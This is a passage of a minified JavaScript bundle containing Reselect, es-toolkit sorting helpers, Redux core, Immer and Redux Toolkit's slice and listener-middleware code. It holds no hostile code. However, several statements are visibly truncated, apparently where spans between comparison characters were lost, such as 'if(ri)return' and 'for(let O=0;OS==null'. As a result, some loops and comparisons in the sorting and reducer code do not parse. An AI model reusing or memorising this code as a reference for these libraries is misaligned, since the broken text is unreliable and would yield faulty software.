Object.assign(T,{resultFunc:h,memoizedResultFunc:_,dependencies:A,dependencyRecomputations:()=>c,resetDependencyRecomputations:()=>{c=0},lastResult:()=>u,recomputations:()=>l,resetRecomputations:()=>{l=0},memoize:m,argsMemoize:x})};return Object.assign(r,{withTypes:()=>r}),r}var G=fV(TR),dV=Object.assign((e,t=G)=>{aV(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(l=>e[l]);return t(r,(...l)=>l.reduce((c,u,f)=>(c[n[f]]=u,c),{}))},{withTypes:()=>dV}),dy={},hy={},py={},p_;function hV(){return p_||(p_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,l)=>{if(r!==i){const c=t(r),u=t(i);if(c===u&&c===0){if(ri)return l==="desc"?-1:1}return l==="desc"?u-c:c-u}return 0};e.compareValues=n})(py)),py}var my={},vy={},m_;function NR(){return m_||(m_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(vy)),vy}var v_;function pV(){return v_||(v_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR(),n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(l,c){return Array.isArray(l)?!1:typeof l=="number"||typeof l=="boolean"||l==null||t.isSymbol(l)?!0:typeof l=="string"&&(r.test(l)||!n.test(l))||c!=null&&Object.hasOwn(c,l)}e.isKey=i})(my)),my}var g_;function mV(){return g_||(g_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hV(),n=pV(),r=ux();function i(l,c,u,f){if(l==null)return[];u=f?void 0:u,Array.isArray(l)||(l=Object.values(l)),Array.isArray(c)||(c=c==null?[null]:[c]),c.length===0&&(c=[null]),Array.isArray(u)||(u=u==null?[]:[u]),u=u.map(x=>String(x));const h=(x,S)=>{let w=x;for(let O=0;OS==null||x==null?S:typeof x=="object"&&"key"in x?Object.hasOwn(S,x.key)?S[x.key]:h(S,x.path):typeof x=="function"?x(S):Array.isArray(x)?h(S,x):typeof S=="object"?S[x]:S,m=c.map(x=>(Array.isArray(x)&&x.length===1&&(x=x[0]),x==null||typeof x=="function"||Array.isArray(x)||n.isKey(x)?x:{key:x,path:r.toPath(x)}));return l.map(x=>({original:x,criteria:m.map(S=>p(S,x))})).slice().sort((x,S)=>{for(let w=0;wx.original)}e.orderBy=i})(hy)),hy}var gy={},y_;function vV(){return y_||(y_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],l=Math.floor(r),c=(u,f)=>{for(let h=0;h1&&r.isIterateeCall(l,c[0],c[1])?c=[]:u>2&&r.isIterateeCall(c[0],c[1],c[2])&&(c=[c[0]]),t.orderBy(l,n.flatten(c),["asc"])}e.sortBy=i})(dy)),dy}var by,w_;function yV(){return w_||(w_=1,by=gV().sortBy),by}var bV=yV();const Xh=Vr(bV);var jR=e=>e.legend.settings,xV=e=>e.legend.size,wV=e=>e.legend.payload;G([wV,jR],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Xh(r,n):r});var Yf=1;function SV(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=v.useState({height:0,left:0,top:0,width:0}),r=v.useCallback(i=>{if(i!=null){var l=i.getBoundingClientRect(),c={height:l.height,left:l.left,top:l.top,width:l.width};(Math.abs(c.height-t.height)>Yf||Math.abs(c.left-t.left)>Yf||Math.abs(c.top-t.top)>Yf||Math.abs(c.width-t.width)>Yf)&&n({height:c.height,left:c.left,top:c.top,width:c.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Qt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var OV=typeof Symbol=="function"&&Symbol.observable||"@@observable",S_=OV,xy=()=>Math.random().toString(36).substring(7).split("").join("."),EV={INIT:`@@redux/INIT${xy()}`,REPLACE:`@@redux/REPLACE${xy()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${xy()}`},kd=EV;function px(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function PR(e,t,n){if(typeof e!="function")throw new Error(Qt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Qt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Qt(1));return n(PR)(e,t)}let r=e,i=t,l=new Map,c=l,u=0,f=!1;function h(){c===l&&(c=new Map,l.forEach((O,A)=>{c.set(A,O)}))}function p(){if(f)throw new Error(Qt(3));return i}function m(O){if(typeof O!="function")throw new Error(Qt(4));if(f)throw new Error(Qt(5));let A=!0;h();const _=u++;return c.set(_,O),function(){if(A){if(f)throw new Error(Qt(6));A=!1,h(),c.delete(_),l=null}}}function y(O){if(!px(O))throw new Error(Qt(7));if(typeof O.type>"u")throw new Error(Qt(8));if(typeof O.type!="string")throw new Error(Qt(17));if(f)throw new Error(Qt(9));try{f=!0,i=r(i,O)}finally{f=!1}return(l=c).forEach(_=>{_()}),O}function x(O){if(typeof O!="function")throw new Error(Qt(10));r=O,y({type:kd.REPLACE})}function S(){const O=m;return{subscribe(A){if(typeof A!="object"||A===null)throw new Error(Qt(11));function _(){const j=A;j.next&&j.next(p())}return _(),{unsubscribe:O(_)}},[S_](){return this}}}return y({type:kd.INIT}),{dispatch:y,subscribe:m,getState:p,replaceReducer:x,[S_]:S}}function AV(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:kd.INIT})>"u")throw new Error(Qt(12));if(typeof n(void 0,{type:kd.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Qt(13))})}function RR(e){const t=Object.keys(e),n={};for(let l=0;l"u")throw u&&u.type,new Error(Qt(14));h[m]=S,f=f||S!==x}return f=f||r.length!==Object.keys(c).length,f?h:c}}function Ld(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function CV(...e){return t=>(n,r)=>{const i=t(n,r);let l=()=>{throw new Error(Qt(15))};const c={getState:i.getState,dispatch:(f,...h)=>l(f,...h)},u=e.map(f=>f(c));return l=Ld(...u)(i.dispatch),{...i,dispatch:l}}}function DR(e){return px(e)&&"type"in e&&typeof e.type=="string"}var kR=Symbol.for("immer-nothing"),O_=Symbol.for("immer-draftable"),dn=Symbol.for("immer-state");function br(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Bn=Object,Dl=Bn.getPrototypeOf,Id="constructor",Zh="prototype",j0="configurable",zd="enumerable",hd="writable",Cc="value",Aa=e=>!!e&&!!e[dn];function Ar(e){return e?LR(e)||Qh(e)||!!e[O_]||!!e[Id]?.[O_]||Jh(e)||ep(e):!1}var _V=Bn[Zh][Id].toString(),E_=new WeakMap;function LR(e){if(!e||!mx(e))return!1;const t=Dl(e);if(t===null||t===Bn[Zh])return!0;const n=Bn.hasOwnProperty.call(t,Id)&&t[Id];if(n===Object)return!0;if(!Sl(n))return!1;let r=E_.get(n);return r===void 0&&(r=Function.toString.call(n),E_.set(n,r)),r===_V}function Wc(e,t,n=!0){Xc(e)===0?(n?Reflect.ownKeys(e):Bn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xc(e){const t=e[dn];return t?t.type_:Qh(e)?1:Jh(e)?2:ep(e)?3:0}var A_=(e,t,n=Xc(e))=>n===2?e.has(t):Bn[Zh].hasOwnProperty.call(e,t),P0=(e,t,n=Xc(e))=>n===2?e.get(t):e[t],$d=(e,t,n,r=Xc(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function TV(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Qh=Array.isArray,Jh=e=>e instanceof Map,ep=e=>e instanceof Set,mx=e=>typeof e=="object",Sl=e=>typeof e=="function",wy=e=>typeof e=="boolean";function NV(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var pa=e=>e.copy_||e.base_,vx=e=>e.modified_?e.copy_:e.base_;function R0(e,t){if(Jh(e))return new Map(e);if(ep(e))return new Set(e);if(Qh(e))return Array[Zh].slice.call(e);const n=LR(e);if(t===!0||t==="class_only"&&!n){const r=Bn.getOwnPropertyDescriptors(e);delete r[dn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Bn.defineProperties(e,{set:Gf,add:Gf,clear:Gf,delete:Gf}),Bn.freeze(e),t&&Wc(e,(n,r)=>{gx(r,!0)},!1)),e}function MV(){br(2)}var Gf={[Cc]:MV};function tp(e){return e===null||!mx(e)?!0:Bn.isFrozen(e)}var Bd="MapSet",D0="Patches",C_="ArrayMethods",IR={};function uo(e){const t=IR[e];return t||br(0,e),t}var __=e=>!!IR[e],_c,zR=()=>_c,jV=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:__(Bd)?uo(Bd):void 0,arrayMethodsPlugin_:__(C_)?uo(C_):void 0});function T_(e,t){t&&(e.patchPlugin_=uo(D0),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function k0(e){L0(e),e.drafts_.forEach(PV),e.drafts_=null}function L0(e){e===_c&&(_c=e.parent_)}var N_=e=>_c=jV(_c,e);function PV(e){const t=e[dn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function M_(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[dn].modified_&&(k0(t),br(4)),Ar(e)&&(e=j_(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[dn].base_,e,t)}else e=j_(t,n);return RV(t,e,!0),k0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==kR?e:void 0}function j_(e,t){if(tp(t))return t;const n=t[dn];if(!n)return yx(t,e.handledSet_,e);if(!np(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);UR(n,e)}return n.copy_}function RV(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&gx(t,n)}function $R(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var np=(e,t)=>e.scope_===t,DV=[];function BR(e,t,n,r){const i=pa(e),l=e.type_;if(r!==void 0&&P0(i,r,l)===t){$d(i,r,n,l);return}if(!e.draftLocations_){const u=e.draftLocations_=new Map;Wc(i,(f,h)=>{if(Aa(h)){const p=u.get(h)||[];p.push(f),u.set(h,p)}})}const c=e.draftLocations_.get(t)??DV;for(const u of c)$d(i,u,n,l)}function kV(e,t,n){e.callbacks_.push(function(i){const l=t;if(!l||!np(l,i))return;i.mapSetPlugin_?.fixSetContents(l);const c=vx(l);BR(e,l.draft_??l,c,n),UR(l,i)})}function UR(e,t){if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(e.assigned_?.size??0)>0)){const{patchPlugin_:r}=t;if(r){const i=r.getPath(e);i&&r.generatePatches_(e,i,t)}$R(e)}}function LV(e,t,n){const{scope_:r}=e;if(Aa(n)){const i=n[dn];np(i,r)&&i.callbacks_.push(function(){pd(e);const c=vx(i);BR(e,n,c,t)})}else Ar(n)&&e.callbacks_.push(function(){const l=pa(e);P0(l,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&yx(P0(e.copy_,t,e.type_),r.handledSet_,r)})}function yx(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Aa(e)||t.has(e)||!Ar(e)||tp(e)||(t.add(e),Wc(e,(r,i)=>{if(Aa(i)){const l=i[dn];if(np(l,n)){const c=vx(l);$d(e,r,c,e.type_),$R(l)}}else Ar(i)&&yx(i,t,n)})),e}function IV(e,t){const n=Qh(e),r={type_:n?1:0,scope_:t?t.scope_:zR(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,l=bx;n&&(i=[r],l=Tc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,[u,r]}var bx={get(e,t){if(t===dn)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n?.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=pa(e);if(!A_(i,t,e.type_))return zV(e,i,t);const l=i[t];if(e.finalized_||!Ar(l)||r&&e.operationMethod&&n?.isMutatingArrayMethod(e.operationMethod)&&NV(t))return l;if(l===Sy(e.base_,t)){pd(e);const c=e.type_===1?+t:t,u=z0(e.scope_,l,e,c);return e.copy_[c]=u}return l},has(e,t){return t in pa(e)},ownKeys(e){return Reflect.ownKeys(pa(e))},set(e,t,n){const r=HR(pa(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Sy(pa(e),t),l=i?.[dn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(TV(n,i)&&(n!==void 0||A_(e.base_,t,e.type_)))return!0;pd(e),I0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),LV(e,t,n)),!0},deleteProperty(e,t){return pd(e),Sy(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),I0(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=pa(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[hd]:!0,[j0]:e.type_!==1||t!=="length",[zd]:r[zd],[Cc]:n[t]}},defineProperty(){br(11)},getPrototypeOf(e){return Dl(e.base_)},setPrototypeOf(){br(12)}},Tc={};Wc(bx,(e,t)=>{Tc[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}});Tc.deleteProperty=function(e,t){return Tc.set.call(this,e,t,void 0)};Tc.set=function(e,t,n){return bx.set.call(this,e[0],t,n,e[0])};function Sy(e,t){const n=e[dn];return(n?pa(n):e)[t]}function zV(e,t,n){const r=HR(t,n);return r?Cc in r?r[Cc]:r.get?.call(e.draft_):void 0}function HR(e,t){if(!(t in e))return;let n=Dl(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Dl(n)}}function I0(e){e.modified_||(e.modified_=!0,e.parent_&&I0(e.parent_))}function pd(e){e.copy_||(e.assigned_=new Map,e.copy_=R0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var $V=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Sl(n)&&!Sl(r)){const c=r;r=n;const u=this;return function(h=c,...p){return u.produce(h,m=>r.call(this,m,...p))}}Sl(r)||br(6),i!==void 0&&!Sl(i)&&br(7);let l;if(Ar(n)){const c=N_(this),u=z0(c,n,void 0);let f=!0;try{l=r(u),f=!1}finally{f?k0(c):L0(c)}return T_(c,i),M_(l,c)}else if(!n||!mx(n)){if(l=r(n),l===void 0&&(l=n),l===kR&&(l=void 0),this.autoFreeze_&&gx(l,!0),i){const c=[],u=[];uo(D0).generateReplacementPatches_(n,l,{patches_:c,inversePatches_:u}),i(c,u)}return l}else br(1,n)},this.produceWithPatches=(n,r)=>{if(Sl(n))return(u,...f)=>this.produceWithPatches(u,h=>n(h,...f));let i,l;return[this.produce(n,r,(u,f)=>{i=u,l=f}),i,l]},wy(t?.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),wy(t?.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),wy(t?.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Ar(t)||br(8),Aa(t)&&(t=Sr(t));const n=N_(this),r=z0(n,t,void 0);return r[dn].isManual_=!0,L0(n),r}finishDraft(t,n){const r=t&&t[dn];(!r||!r.isManual_)&&br(9);const{scope_:i}=r;return T_(i,n),M_(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const l=n[r];if(l.path.length===0&&l.op==="replace"){t=l.value;break}}r>-1&&(n=n.slice(r+1));const i=uo(D0).applyPatches_;return Aa(t)?i(t,n):this.produce(t,l=>i(l,n))}};function z0(e,t,n,r){const[i,l]=Jh(t)?uo(Bd).proxyMap_(t,n):ep(t)?uo(Bd).proxySet_(t,n):IV(t,n);return(n?.scope_??zR()).drafts_.push(i),l.callbacks_=n?.callbacks_??[],l.key_=r,n&&r!==void 0?kV(n,l,r):l.callbacks_.push(function(f){f.mapSetPlugin_?.fixSetContents(l);const{patchPlugin_:h}=f;l.modified_&&h&&h.generatePatches_(l,[],f)}),i}function Sr(e){return Aa(e)||br(10,e),qR(e)}function qR(e){if(!Ar(e)||tp(e))return e;const t=e[dn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=R0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=R0(e,!0);return Wc(n,(i,l)=>{$d(n,i,qR(l))},r),t&&(t.finalized_=!1),n}var BV=new $V,FR=BV.produce;function VR(e){return({dispatch:n,getState:r})=>i=>l=>typeof l=="function"?l(n,r,e):i(l)}var UV=VR(),HV=VR,qV=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Ld:Ld.apply(null,arguments)};function fr(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Hn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>DR(r)&&r.type===e,n}var KR=class pc extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,pc.prototype)}static get[Symbol.species](){return pc}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new pc(...t[0].concat(this)):new pc(...t.concat(this))}};function P_(e){return Ar(e)?FR(e,()=>{}):e}function Wf(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function FV(e){return typeof e=="boolean"}var VV=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:l=!0}=t??{};let c=new KR;return n&&(FV(n)?c.push(UV):c.push(HV(n.extraArgument))),c},YR="RTK_autoBatch",ct=()=>e=>({payload:e,meta:{[YR]:!0}}),R_=e=>t=>{setTimeout(t,e)},GR=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,l=!1,c=!1;const u=new Set,f=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:R_(10):e.type==="callback"?e.queueNotification:R_(e.timeout),h=()=>{c=!1,l&&(l=!1,u.forEach(p=>p()))};return Object.assign({},r,{subscribe(p){const m=()=>i&&p(),y=r.subscribe(m);return u.add(p),()=>{y(),u.delete(p)}},dispatch(p){try{return i=!p?.meta?.[YR],l=!i,l&&(c||(c=!0,f(h))),r.dispatch(p)}finally{i=!0}}})},KV=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new KR(e);return r&&i.push(GR(typeof r=="object"?r:void 0)),i};function YV(e){const t=VV(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:l=void 0,enhancers:c=void 0}=e||{};let u;if(typeof n=="function")u=n;else if(px(n))u=RR(n);else throw new Error(Hn(1));let f;typeof r=="function"?f=r(t):f=t();let h=Ld;i&&(h=qV({trace:!1,...typeof i=="object"&&i}));const p=CV(...f),m=KV(p);let y=typeof c=="function"?c(m):m();const x=h(...y);return PR(u,l,x)}function WR(e){const t={},n=[];let r;const i={addCase(l,c){const u=typeof l=="string"?l:l.type;if(!u)throw new Error(Hn(28));if(u in t)throw new Error(Hn(29));return t[u]=c,i},addAsyncThunk(l,c){return c.pending&&(t[l.pending.type]=c.pending),c.rejected&&(t[l.rejected.type]=c.rejected),c.fulfilled&&(t[l.fulfilled.type]=c.fulfilled),c.settled&&n.push({matcher:l.settled,reducer:c.settled}),i},addMatcher(l,c){return n.push({matcher:l,reducer:c}),i},addDefaultCase(l){return r=l,i}};return e(i),[t,n,r]}function GV(e){return typeof e=="function"}function WV(e,t){let[n,r,i]=WR(t),l;if(GV(e))l=()=>P_(e());else{const u=P_(e);l=()=>u}function c(u=l(),f){let h=[n[f.type],...r.filter(({matcher:p})=>p(f)).map(({reducer:p})=>p)];return h.filter(p=>!!p).length===0&&(h=[i]),h.reduce((p,m)=>{if(m)if(Aa(p)){const x=m(p,f);return x===void 0?p:x}else{if(Ar(p))return FR(p,y=>m(y,f));{const y=m(p,f);if(y===void 0){if(p===null)return p;throw Error("A case reducer on a non-draftable value must not return undefined")}return y}}return p},u)}return c.getInitialState=l,c}var XV="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",ZV=(e=21)=>{let t="",n=e;for(;n--;)t+=XV[Math.random()*64|0];return t},QV=Symbol.for("rtk-slice-createasyncthunk");function JV(e,t){return`${e}/${t}`}function eK({creators:e}={}){const t=e?.asyncThunk?.[QV];return function(r){const{name:i,reducerPath:l=i}=r;if(!i)throw new Error(Hn(11));const c=(typeof r.reducers=="function"?r.reducers(nK()):r.reducers)||{},u=Object.keys(c),f={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},h={addCase(T,j){const M=typeof T=="string"?T:T.type;if(!M)throw new Error(Hn(12));if(M in f.sliceCaseReducersByType)throw new Error(Hn(13));return f.sliceCaseReducersByType[M]=j,h},addMatcher(T,j){return f.sliceMatchers.push({matcher:T,reducer:j}),h},exposeAction(T,j){return f.actionCreators[T]=j,h},exposeCaseReducer(T,j){return f.sliceCaseReducersByName[T]=j,h}};u.forEach(T=>{const j=c[T],M={reducerName:T,type:JV(i,T),createNotation:typeof r.reducers=="function"};aK(j)?oK(M,j,h,t):rK(M,j,h)});function p(){const[T={},j=[],M=void 0]=typeof r.extraReducers=="function"?WR(r.extraReducers):[r.extraReducers],P={...T,...f.sliceCaseReducersByType};return WV(r.initialState,R=>{for(let I in P)R.addCase(I,P[I]);for(let I of f.sliceMatchers)R.addMatcher(I.matcher,I.reducer);for(let I of j)R.addMatcher(I.matcher,I.reducer);M&&R.addDefaultCase(M)})}const m=T=>T,y=new Map,x=new WeakMap;let S;function w(T,j){return S||(S=p()),S(T,j)}function O(){return S||(S=p()),S.getInitialState()}function A(T,j=!1){function M(R){let I=R[T];return typeof I>"u"&&j&&(I=Wf(x,M,O)),I}function P(R=m){const I=Wf(y,j,()=>new WeakMap);return Wf(I,R,()=>{const B={};for(const[q,U]of Object.entries(r.selectors??{}))B[q]=tK(U,R,()=>Wf(x,R,O),j);return B})}return{reducerPath:T,getSelectors:P,get selectors(){return P(M)},selectSlice:M}}const _={name:i,reducer:w,actions:f.actionCreators,caseReducers:f.sliceCaseReducersByName,getInitialState:O,...A(l),injectInto(T,{reducerPath:j,...M}={}){const P=j??l;return T.inject({reducerPath:P,reducer:w},M),{..._,...A(P,!0)}}};return _}}function tK(e,t,n,r){function i(l,...c){let u=t(l);return typeof u>"u"&&r&&(u=n()),e(u,...c)}return i.unwrapped=e,i}var An=eK();function nK(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function rK({type:e,reducerName:t,createNotation:n},r,i){let l,c;if("reducer"in r){if(n&&!iK(r))throw new Error(Hn(17));l=r.reducer,c=r.prepare}else l=r;i.addCase(e,l).exposeCaseReducer(t,l).exposeAction(t,c?fr(e,c):fr(e))}function aK(e){return e._reducerDefinitionType==="asyncThunk"}function iK(e){return e._reducerDefinitionType==="reducerWithPrepare"}function oK({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Hn(18));const{payloadCreator:l,fulfilled:c,pending:u,rejected:f,settled:h,options:p}=n,m=i(e,l,p);r.exposeAction(t,m),c&&r.addCase(m.fulfilled,c),u&&r.addCase(m.pending,u),f&&r.addCase(m.rejected,f),h&&r.addMatcher(m.settled,h),r.exposeCaseReducer(t,{fulfilled:c||Xf,pending:u||Xf,rejected:f||Xf,settled:h||Xf})}function Xf(){}var lK="task",XR="listener",ZR="completed",xx="cancelled",sK=`task-${xx}`,cK=`task-${ZR}`,$0=`${XR}-${xx}`,uK=`${XR}-${ZR}`,rp=class{constructor(e){this.code=e,this.message=`${lK} ${xx} (reason: ${e})`}name="TaskAbortError";message},wx=(e,t)=>{if(typeof e!="function")throw new TypeError(Hn(32))},Ud=()=>{},QR=(e,t=Ud)=>(e.catch(t),e),JR=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),eo=e=>{if(e.aborted)throw new rp(e.reason)};function eD(e,t){let n=Ud;return new Promise((r,i)=>{const l=()=>i(new rp(e.reason));if(e.aborted){l();return}n=JR(e,l),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Ud})}var fK=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof rp?"cancelled":"rejected",error:n}}finally{t?.()}},Hd=e=>t=>QR(eD(e,t).then(n=>(eo(e),n))),tD=e=>{const t=Hd(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Tl}=Object,D_={},ap="listenerMiddleware",dK=(e,t)=>{const n=r=>JR(e,()=>r.abort(e.reason));return(r,i)=>{wx(r);const l=new AbortController;n(l);const c=fK(async()=>{eo(e),eo(l.signal);const u=await r({pause:Hd(l.signal),delay:tD(l.signal),signal:l.signal});return eo(l.signal),u},()=>l.abort(cK));return i?.autoJoin&&t.push(c.catch(Ud)),{result:Hd(e)(c),cancel(){l.abort(sK)}}}},hK=(e,t)=>{const n=async(r,i)=>{eo(t);let l=()=>{};const u=[new Promise((f,h)=>{let p=e({predicate:r,effect:(m,y)=>{y.unsubscribe(),f([m,y.getState(),y.getOriginalState()])}});l=()=>{p(),h()}})];i!=null&&u.push(new Promise(f=>setTimeout(f,i,null)));try{const f=await eD(t,Promise.race(u));return eo(t),f}finally{l()}};return(r,i)=>QR(n(r,i))},nD=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:l}=e;if(t)i=fr(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Hn(21));return wx(l),{predicate:i,type:t,effect:l}},rD=Tl(e=>{const{type:t,predicate:n,effect:r}=nD(e);return{id:ZV(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Hn(22))}}},{withTypes:()=>rD}),k_=(e,t)=>{const{type:n,effect:r,predicate:i}=nD(t);return Array.from(e.values()).find(l=>(typeof n=="string"?l.type===n:l.predicate===i)&&l.effect===r)},B0=e=>{e.pending.forEach(t=>{t.abort($0)})},pK=(e,t)=>()=>{for(const n of t.keys())B0(n);e.clear()},L_=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},aD=Tl(fr(`${ap}/add`),{withTypes:()=>aD}),mK=fr(`${ap}/removeAll`),iD=Tl(fr(`${ap}/remove`),{withTypes:()=>iD}),vK=(...e)=>{console.error(`${ap}/error`,...e)},Zc=(e={})=>{const t=new Map,n=new Map,r=x=>{const S=n.get(x)??0;n.set(x,S+1)},i=x=>{const S=n.get(x)??1;S===1?n.delete(x):n.set(x,S-1)},{extra:l,onError:c=vK}=e;wx(c);const u=x=>(x.unsubscribe=()=>t.delete(x.id),t.set(x.id,x),S=>{x.unsubscribe(),S?.cancelActive&&B0(x)}),f=x=>{const S=k_(t,x)??rD(x);return u(S)};Tl(f,{withTypes:()=>f});const h=x=>{const S=k_(t,x);return S&&(S.unsubscribe(),x.cancelActive&&B0(S)),!!S};Tl(h,{withTypes:()=>h});const p=async(x,S,w,O)=>{const A=new AbortController,_=hK(f,A.signal),T=[];try{x.pending.add(A),r(x),await Promise.resolve(x.effect(S,Tl({},w,{getOriginalState:O,condition:(j,M)=>_(j,M).then(Boolean),take:_,delay:tD(A.signal),pause:Hd(A.signal),extra:l,signal:A.signal,fork:dK(A.signal,T),unsubscribe:x.unsubscribe,subscribe:()=>{t.set(x.id,x)},cancelActiveListeners:()=>{x.pending.forEach((j,M,P)=>{j!==A&&(j.abort($0),P.delete(j))})},cancel:()=>{A.abort($0),x.pending.delete(A)},throwIfCancelled:()=>{eo(A.signal)}})))}catch(j){j instanceof rp||L_(c,j,{raisedBy:"effect"})}finally{await 